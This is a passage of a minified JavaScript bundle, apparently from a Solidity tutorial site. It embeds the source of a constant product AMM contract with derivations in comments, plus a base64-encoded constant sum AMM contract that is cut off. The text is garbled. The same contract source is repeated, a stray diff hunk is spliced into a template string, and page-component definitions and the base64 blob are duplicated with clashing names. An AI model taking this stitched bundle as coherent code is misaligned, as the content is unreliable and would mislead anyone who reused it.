        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    function _update(uint256 _reserve0, uint256 _reserve1) private {
        reserve0 = _reserve0;
        reserve1 = _reserve1;
    }

    function swap(address _tokenIn, uint256 _amountIn)
        external
        returns (uint256 amountOut)
    {
        require(
            _tokenIn == address(token0) || _tokenIn == address(token1),
            "invalid token"
        );
        require(_amountIn > 0, "amount in = 0");

        bool isToken0 = _tokenIn == address(token0);
        (IERC20 tokenIn, IERC20 tokenOut, uint256 reserveIn, uint256 reserveOut)
        = isToken0
            ? (token0, token1, reserve0, reserve1)
            : (token1, token0, reserve1, reserve0);

        tokenIn.transferFrom(msg.sender, address(this), _amountIn);

        /*
        How much dy for dx?

        xy = k
        (x + dx)(y - dy) = k
        y - dy = k / (x + dx)
        y - k / (x + dx) = dy
        y - xy / (x + dx) = dy
        (yx + ydx - xy) / (x + dx) = dy
        ydx / (x + dx) = dy
        */
        // 0.3% fee
        uint256 amountInWithFee = (_amountIn * 997) / 1000;
        amountOut =
            (reserveOut * amountInWithFee) / (reserveIn + amountInWithFee);

        tokenOut.transfer(msg.sender, amountOut);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function addLiquidity(uint256 _amount0, uint256 _amount1)
        external
        returns (uint256 shares)
    {
        token0.transferFrom(msg.sender, address(this), _amount0);
        token1.transferFrom(msg.sender, address(this), _amount1);

        /*
        How much dx, dy to add?

        xy = k
        (x + dx)(y + dy) = k'

        No price change, before and after adding liquidity
        x / y = (x + dx) / (y + dy)

        x(y + dy) = y(x + dx)
        x * dy = y * dx

        x / y = dx / dy
        dy = y / x * dx
        */
        if (reserve0 > 0 || reserve1 > 0) {
            require(
                reserve0 * _amount1 == reserve1 * _amount0, "x / y != dx / dy"
            );
        }

        /*
        How much shares to mint?

        f(x, y) = value of liquidity
        We will define f(x, y) = sqrt(xy)

        L0 = f(x, y)
        L1 = f(x + dx, y + dy)
        T = total shares
        s = shares to mint

        Total shares should increase proportional to increase in liquidity
        L1 / L0 = (T + s) / T

        L1 * T = L0 * (T + s)

        (L1 - L0) * T / L0 = s 
        */

        /*
        Claim
        (L1 - L0) / L0 = dx / x = dy / y

        Proof
        --- Equation 1 ---
        (L1 - L0) / L0 = (sqrt((x + dx)(y + dy)) - sqrt(xy)) / sqrt(xy)
        
        dx / dy = x / y so replace dy = dx * y / x

        --- Equation 2 ---
        Equation 1 = (sqrt(xy + 2ydx + dx^2 * y / x) - sqrt(xy)) / sqrt(xy)

        Multiply by sqrt(x) / sqrt(x)
        Equation 2 = (sqrt(x^2y + 2xydx + dx^2 * y) - sqrt(x^2y)) / sqrt(x^2y)
                   = (sqrt(y)(sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(y)sqrt(x^2))
        
        sqrt(y) on top and bottom cancels out

        --- Equation 3 ---
        Equation 2 = (sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(x^2)
        = (sqrt((x + dx)^2) - sqrt(x^2)) / sqrt(x^2)  
        = ((x + dx) - x) / x
        = dx / x

        Since dx / dy = x / y,
        dx / x = dy / y

        Finally
        (L1 - L0) / L0 = dx / x = dy / y
        */
        if (totalSupply == 0) {
            shares = _sqrt(_amount0 * _amount1);
        } else {
            shares = _min(
                (_amount0 * totalSupply) / reserve0,
                (_amount1 * totalSupply) / reserve1
            );
        }
        require(shares > 0, "shares = 0");
        _mint(msg.sender, shares);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function removeLiquidity(uint256 _shares)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        /*
        Claim
        dx, dy = amount of liquidity to remove
        dx = s / T * x
        dy = s / T * y

        Proof
        Let's find dx, dy such that
        v / L = s / T
        
        where
        v = f(dx, dy) = sqrt(dxdy)
        L = total liquidity = sqrt(xy)
        s = shares
        T = total supply

        --- Equation 1 ---
        v = s / T * L
        sqrt(dxdy) = s / T * sqrt(xy)

        Amount of liquidity to remove must not change price so 
        dx / dy = x / y

        replace dy = dx * y / x
        sqrt(dxdy) = sqrt(dx * dx * y / x) = dx * sqrt(y / x)

        Divide both sides of Equation 1 with sqrt(y / x)
        dx = s / T * sqrt(xy) / sqrt(y / x)
           = s / T * sqrt(x^2) = s / T * x

        Likewise
        dy = s / T * y
        */

        // bal0 >= reserve0
        // bal1 >= reserve1
        uint256 bal0 = token0.balanceOf(address(this));
        uint256 bal1 = token1.balanceOf(address(this));

        amount0 = (_shares * bal0) / totalSupply;
        amount1 = (_shares * bal1) / totalSupply;
        require(amount0 > 0 && amount1 > 0, "amount0 or amount1 = 0");

        _burn(msg.sender, _shares);
        _update(bal0 - amount0, bal1 - amount1);

        token0.transfer(msg.sender, amount0);
        token1.transfer(msg.sender, amount1);
    }

    function _sqrt(uint256 y) private pure returns (uint256 z) {
        if (y > 3) {
            z = y;
            uint256 x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }

    function _min(uint256 x, uint256 y) private pure returns (uint256) {
        return x <= y ? x : y;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
"}],sm=`

                    Constant product AMM XY = K

                    +`,Ly=({prev:s,next:a})=>r.jsx(A,{version:Ey,title:Qy,description:Ty,html:_y,prev:s,next:a,codes:Uy}),Oy="0.8.24",Py="Constant Product AMM",$y="Constant product AMM",qy=[{fileName:"CPAMM.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract CPAMM {
    IERC20 public immutable token0;
    IERC20 public immutable token1;

    uint256 public reserve0;
    uint256 public reserve1;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address _token0, address _token1) {
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    function _update(uint256 _reserve0, uint256 _reserve1) private {
        reserve0 = _reserve0;
        reserve1 = _reserve1;
    }

    function swap(address _tokenIn, uint256 _amountIn)
        external
        returns (uint256 amountOut)
    {
        require(
            _tokenIn == address(token0) || _tokenIn == address(token1),
            "invalid token"
        );
        require(_amountIn > 0, "amount in = 0");

        bool isToken0 = _tokenIn == address(token0);
        (IERC20 tokenIn, IERC20 tokenOut, uint256 reserveIn, uint256 reserveOut)
        = isToken0
            ? (token0, token1, reserve0, reserve1)
            : (token1, token0, reserve1, reserve0);

        tokenIn.transferFrom(msg.sender, address(this), _amountIn);

        /*
        How much dy for dx?

        xy = k
        (x + dx)(y - dy) = k
        y - dy = k / (x + dx)
        y - k / (x + dx) = dy
        y - xy / (x + dx) = dy
        (yx + ydx - xy) / (x + dx) = dy
        ydx / (x + dx) = dy
        */
        // 0.3% fee
        uint256 amountInWithFee = (_amountIn * 997) / 1000;
        amountOut =
            (reserveOut * amountInWithFee) / (reserveIn + amountInWithFee);

        tokenOut.transfer(msg.sender, amountOut);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function addLiquidity(uint256 _amount0, uint256 _amount1)
        external
        returns (uint256 shares)
    {
        token0.transferFrom(msg.sender, address(this), _amount0);
        token1.transferFrom(msg.sender, address(this), _amount1);

        /*
        How much dx, dy to add?

        xy = k
        (x + dx)(y + dy) = k'

        No price change, before and after adding liquidity
        x / y = (x + dx) / (y + dy)

        x(y + dy) = y(x + dx)
        x * dy = y * dx

        x / y = dx / dy
        dy = y / x * dx
        */
        if (reserve0 > 0 || reserve1 > 0) {
            require(
                reserve0 * _amount1 == reserve1 * _amount0, "x / y != dx / dy"
            );
        }

        /*
        How much shares to mint?

        f(x, y) = value of liquidity
        We will define f(x, y) = sqrt(xy)

        L0 = f(x, y)
        L1 = f(x + dx, y + dy)
        T = total shares
        s = shares to mint

        Total shares should increase proportional to increase in liquidity
        L1 / L0 = (T + s) / T

        L1 * T = L0 * (T + s)

        (L1 - L0) * T / L0 = s 
        */

        /*
        Claim
        (L1 - L0) / L0 = dx / x = dy / y

        Proof
        --- Equation 1 ---
        (L1 - L0) / L0 = (sqrt((x + dx)(y + dy)) - sqrt(xy)) / sqrt(xy)
        
        dx / dy = x / y so replace dy = dx * y / x

        --- Equation 2 ---
        Equation 1 = (sqrt(xy + 2ydx + dx^2 * y / x) - sqrt(xy)) / sqrt(xy)

        Multiply by sqrt(x) / sqrt(x)
        Equation 2 = (sqrt(x^2y + 2xydx + dx^2 * y) - sqrt(x^2y)) / sqrt(x^2y)
                   = (sqrt(y)(sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(y)sqrt(x^2))
        
        sqrt(y) on top and bottom cancels out

        --- Equation 3 ---
        Equation 2 = (sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(x^2)
        = (sqrt((x + dx)^2) - sqrt(x^2)) / sqrt(x^2)  
        = ((x + dx) - x) / x
        = dx / x

        Since dx / dy = x / y,
        dx / x = dy / y

        Finally
        (L1 - L0) / L0 = dx / x = dy / y
        */
        if (totalSupply == 0) {
            shares = _sqrt(_amount0 * _amount1);
        } else {
            shares = _min(
                (_amount0 * totalSupply) / reserve0,
                (_amount1 * totalSupply) / reserve1
            );
        }
        require(shares > 0, "shares = 0");
        _mint(msg.sender, shares);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function removeLiquidity(uint256 _shares)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        /*
        Claim
        dx, dy = amount of liquidity to remove
        dx = s / T * x
        dy = s / T * y

        Proof
        Let's find dx, dy such that
        v / L = s / T
        
        where
        v = f(dx, dy) = sqrt(dxdy)
        L = total liquidity = sqrt(xy)
        s = shares
        T = total supply

        --- Equation 1 ---
        v = s / T * L
        sqrt(dxdy) = s / T * sqrt(xy)

        Amount of liquidity to remove must not change price so 
        dx / dy = x / y

        replace dy = dx * y / x
        sqrt(dxdy) = sqrt(dx * dx * y / x) = dx * sqrt(y / x)

        Divide both sides of Equation 1 with sqrt(y / x)
        dx = s / T * sqrt(xy) / sqrt(y / x)
           = s / T * sqrt(x^2) = s / T * x

        Likewise
        dy = s / T * y
        */

        // bal0 >= reserve0
        // bal1 >= reserve1
        uint256 bal0 = token0.balanceOf(address(this));
        uint256 bal1 = token1.balanceOf(address(this));

        amount0 = (_shares * bal0) / totalSupply;
        amount1 = (_shares * bal1) / totalSupply;
        require(amount0 > 0 && amount1 > 0, "amount0 or amount1 = 0");

        _burn(msg.sender, _shares);
        _update(bal0 - amount0, bal1 - amount1);

        token0.transfer(msg.sender, amount0);
        token1.transfer(msg.sender, amount1);
    }

    function _sqrt(uint256 y) private pure returns (uint256 z) {
        if (y > 3) {
            z = y;
            uint256 x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }

    function _min(uint256 x, uint256 y) private pure returns (uint256) {
        return x <= y ? x : y;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
"}],sm=`

                    Constant product AMM XY = K

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -4131,7 +4131,7 @@ specify the location of the data.
                    
         external
         returns (bool);
 }
-
                    `,am=({prev:s,next:a})=>r.jsx(u,{version:Oy,title:Py,description:$y,html:sm,prev:s,next:a,codes:qy}),nm="0.8.24",lm="Constant Sum AMM",pm="Constant sum AMM",em=[{fileName:"CSAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBOT1RFOiBUaGlzIGNvbnRyYWN0IGFzc3VtZXMgdGhhdCB0b2tlbjAgYW5kIHRva2VuMQogICAgICAgIC8vIGJvdGggaGF2ZSBzYW1lIGRlY2ltYWxzCiAgICAgICAgdG9rZW4wID0gSUVSQzIwKF90b2tlbjApOwogICAgICAgIHRva2VuMSA9IElFUkMyMChfdG9rZW4xKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX3RvXSArPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9hbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4oYWRkcmVzcyBfZnJvbSwgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX2Zyb21dIC09IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBfdXBkYXRlKHVpbnQyNTYgX3JlczAsIHVpbnQyNTYgX3JlczEpIHByaXZhdGUgewogICAgICAgIHJlc2VydmUwID0gX3JlczA7CiAgICAgICAgcmVzZXJ2ZTEgPSBfcmVzMTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwKGFkZHJlc3MgX3Rva2VuSW4sIHVpbnQyNTYgX2Ftb3VudEluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgX3Rva2VuSW4gPT0gYWRkcmVzcyh0b2tlbjApIHx8IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4xKSwKICAgICAgICAgICAgImludmFsaWQgdG9rZW4iCiAgICAgICAgKTsKCiAgICAgICAgYm9vbCBpc1Rva2VuMCA9IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4wKTsKCiAgICAgICAgKElFUkMyMCB0b2tlbkluLCBJRVJDMjAgdG9rZW5PdXQsIHVpbnQyNTYgcmVzSW4sIHVpbnQyNTYgcmVzT3V0KSA9CiAgICAgICAgaXNUb2tlbjAKICAgICAgICAgICAgPyAodG9rZW4wLCB0b2tlbjEsIHJlc2VydmUwLCByZXNlcnZlMSkKICAgICAgICAgICAgOiAodG9rZW4xLCB0b2tlbjAsIHJlc2VydmUxLCByZXNlcnZlMCk7CgogICAgICAgIHRva2VuSW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRJbik7CiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHRva2VuSW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpIC0gcmVzSW47CgogICAgICAgIC8vIDAuMyUgZmVlCiAgICAgICAgYW1vdW50T3V0ID0gKGFtb3VudEluICogOTk3KSAvIDEwMDA7CgogICAgICAgICh1aW50MjU2IHJlczAsIHVpbnQyNTYgcmVzMSkgPSBpc1Rva2VuMAogICAgICAgICAgICA/IChyZXNJbiArIGFtb3VudEluLCByZXNPdXQgLSBhbW91bnRPdXQpCiAgICAgICAgICAgIDogKHJlc091dCAtIGFtb3VudE91dCwgcmVzSW4gKyBhbW91bnRJbik7CgogICAgICAgIF91cGRhdGUocmVzMCwgcmVzMSk7CiAgICAgICAgdG9rZW5PdXQudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50T3V0KTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICB1aW50MjU2IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIHVpbnQyNTYgZDAgPSBiYWwwIC0gcmVzZXJ2ZTA7CiAgICAgICAgdWludDI1NiBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPSB0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgKyBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludDI1NiBfc2hhcmVzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBkMCwgdWludDI1NiBkMSkKICAgIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQgb3V0CiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMKICAgICAgICBUID0gdG90YWwgc3VwcGx5CgogICAgICAgIGEgLyBMID0gcyAvIFQKCiAgICAgICAgYSA9IEwgKiBzIC8gVAogICAgICAgICAgPSAocmVzZXJ2ZTAgKyByZXNlcnZlMSkgKiBzIC8gVAogICAgICAgICovCiAgICAgICAgZDAgPSAocmVzZXJ2ZTAgKiBfc2hhcmVzKSAvIHRvdGFsU3VwcGx5OwogICAgICAgIGQxID0gKHJlc2VydmUxICogX3NoYXJlcykgLyB0b3RhbFN1cHBseTsKCiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgX3VwZGF0ZShyZXNlcnZlMCAtIGQwLCByZXNlcnZlMSAtIGQxKTsKCiAgICAgICAgaWYgKGQwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXIobXNnLnNlbmRlciwgZDApOwogICAgICAgIH0KICAgICAgICBpZiAoZDEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2Zlcihtc2cuc2VuZGVyLCBkMSk7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQo="}],cm=`

                    Constant sum AMM X + Y = K

                    +`,am=({prev:s,next:a})=>r.jsx(A,{version:Oy,title:Py,description:$y,html:sm,prev:s,next:a,codes:qy}),nm="0.8.24",lm="Constant Sum AMM",pm="Constant sum AMM",em=[{fileName:"CSAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBOT1RFOiBUaGlzIGNvbnRyYWN0IGFzc3VtZXMgdGhhdCB0b2tlbjAgYW5kIHRva2VuMQogICAgICAgIC8vIGJvdGggaGF2ZSBzYW1lIGRlY2ltYWxzCiAgICAgICAgdG9rZW4wID0gSUVSQzIwKF90b2tlbjApOwogICAgICAgIHRva2VuMSA9IElFUkMyMChfdG9rZW4xKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX3RvXSArPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9hbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4oYWRkcmVzcyBfZnJvbSwgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX2Zyb21dIC09IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBfdXBkYXRlKHVpbnQyNTYgX3JlczAsIHVpbnQyNTYgX3JlczEpIHByaXZhdGUgewogICAgICAgIHJlc2VydmUwID0gX3JlczA7CiAgICAgICAgcmVzZXJ2ZTEgPSBfcmVzMTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwKGFkZHJlc3MgX3Rva2VuSW4sIHVpbnQyNTYgX2Ftb3VudEluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgX3Rva2VuSW4gPT0gYWRkcmVzcyh0b2tlbjApIHx8IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4xKSwKICAgICAgICAgICAgImludmFsaWQgdG9rZW4iCiAgICAgICAgKTsKCiAgICAgICAgYm9vbCBpc1Rva2VuMCA9IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4wKTsKCiAgICAgICAgKElFUkMyMCB0b2tlbkluLCBJRVJDMjAgdG9rZW5PdXQsIHVpbnQyNTYgcmVzSW4sIHVpbnQyNTYgcmVzT3V0KSA9CiAgICAgICAgaXNUb2tlbjAKICAgICAgICAgICAgPyAodG9rZW4wLCB0b2tlbjEsIHJlc2VydmUwLCByZXNlcnZlMSkKICAgICAgICAgICAgOiAodG9rZW4xLCB0b2tlbjAsIHJlc2VydmUxLCByZXNlcnZlMCk7CgogICAgICAgIHRva2VuSW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRJbik7CiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHRva2VuSW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpIC0gcmVzSW47CgogICAgICAgIC8vIDAuMyUgZmVlCiAgICAgICAgYW1vdW50T3V0ID0gKGFtb3VudEluICogOTk3KSAvIDEwMDA7CgogICAgICAgICh1aW50MjU2IHJlczAsIHVpbnQyNTYgcmVzMSkgPSBpc1Rva2VuMAogICAgICAgICAgICA/IChyZXNJbiArIGFtb3VudEluLCByZXNPdXQgLSBhbW91bnRPdXQpCiAgICAgICAgICAgIDogKHJlc091dCAtIGFtb3VudE91dCwgcmVzSW4gKyBhbW91bnRJbik7CgogICAgICAgIF91cGRhdGUocmVzMCwgcmVzMSk7CiAgICAgICAgdG9rZW5PdXQudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50T3V0KTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICB1aW50MjU2IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIHVpbnQyNTYgZDAgPSBiYWwwIC0gcmVzZXJ2ZTA7CiAgICAgICAgdWludDI1NiBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPSB0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgKyBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludDI1NiBfc2hhcmVzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBkMCwgdWludDI1NiBkMSkKICAgIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQgb3V0CiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMKICAgICAgICBUID0gdG90YWwgc3VwcGx5CgogICAgICAgIGEgLyBMID0gcyAvIFQKCiAgICAgICAgYSA9IEwgKiBzIC8gVAogICAgICAgICAgPSAocmVzZXJ2ZTAgKyByZXNlcnZlMSkgKiBzIC8gVAogICAgICAgICovCiAgICAgICAgZDAgPSAocmVzZXJ2ZTAgKiBfc2hhcmVzKSAvIHRvdGFsU3VwcGx5OwogICAgICAgIGQxID0gKHJlc2VydmUxICogX3NoYXJ